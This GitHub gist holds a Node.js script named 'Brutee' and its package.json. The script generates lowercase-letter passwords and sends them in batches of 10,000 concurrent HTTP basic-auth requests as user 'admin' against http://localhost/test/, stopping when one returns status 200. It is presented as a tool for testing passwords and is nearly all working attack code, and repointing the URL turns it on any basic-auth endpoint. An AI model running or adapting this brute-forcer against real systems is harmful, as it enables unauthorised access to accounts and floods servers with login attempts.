Skip to content

Instantly share code, notes, and snippets.

@einfallstoll
Last active December 31, 2015 12:49
Show Gist options
  • Save einfallstoll/7988505 to your computer and use it in GitHub Desktop.
Save einfallstoll/7988505 to your computer and use it in GitHub Desktop.
Brutee is a simple Bruteforcer to test passwords against a HTTP-authentification. (It's also one of the ugliest code I ever wrote, yay)
var Brutee = (function() {
function Brutee(max, load) {
if (typeof max === 'number') {
this.max = max;
} else {
throw new TypeError('type of min must be a number');
}
if (typeof load === 'string') {
this.load = load;
} else {
throw new TypeError('type of min must be a number');
}
}
Brutee.prototype.getPass = function(i) {
var p = '';
for (l = 0, m = 1, t = 0; i >= t; l++) {
m *= this.load.length;
t += m;
}
var d = 1;
for (var j = 0; j < l; j++) {
p += this.load[parseInt((i - (t / this.load.length - 1)) / d) % this.load.length];
d *= this.load.length;
}
return p;
};
return Brutee;
})();
var simple = new Brutee(7, 'abcdefghijklmnopqrstuvwxyz');
var found = false;
var i = 0;
var request = require('request');
var async = require('async');
var moment = require('moment');
var start = moment();
function generatePasses() {
var x = 0
,passs =new Array();
do {
passs.push(simple.getPass(i++));
} while (++x < 10000);
console.log(passs.length + ' password generated');
processPasses(passs);
}
var last = 1;
function timestamp() {
var current = moment();
var secs = current.diff(start, 'seconds');
var pps = (i / secs);
var rel = (100 * pps / last) - 100;
console.log('=================================================================');
console.log('time elapsed: ' + secs + ' seconds');
console.log('processing ' + pps.toFixed(2) + ' passwords per second (' + (rel > 0 ? '+' : '') + rel.toFixed(1) + ' %)');
console.log('=================================================================');
last = pps;
}
function processPasses(passs) {
var x = 0;
async.each(passs, function(pass, callback) {
x++;
request({
url: 'http://localhost/test/',
auth: {
username: 'admin',
password: pass
},
headers: {
pass: pass,
x: x
}
}, function(error, response) {
if (error) {
process.exit(0);
} else {
if (response.statusCode === 200) {
console.log('found password: ' + response.req._headers.pass);
timestamp();
process.exit(0);
} else if (parseInt(response.req._headers.x) % 1000 == 0) {
console.log('wrong password: ' + response.req._headers.pass);
}
}
callback(error);
});
}, function(error) {
if (error) {
process.exit(0);
} else {
console.log(passs.length + ' password processed');
timestamp();
generatePasses();
}
});
}
generatePasses();
{
"name": "brutee",
"version": "0.0.0",
"description": "",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"author": "",
"license": "BSD-2-Clause",
"dependencies": {
"request": "~2.30.0",
"async": "~0.2.9",
"moment": "~2.4.0"
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment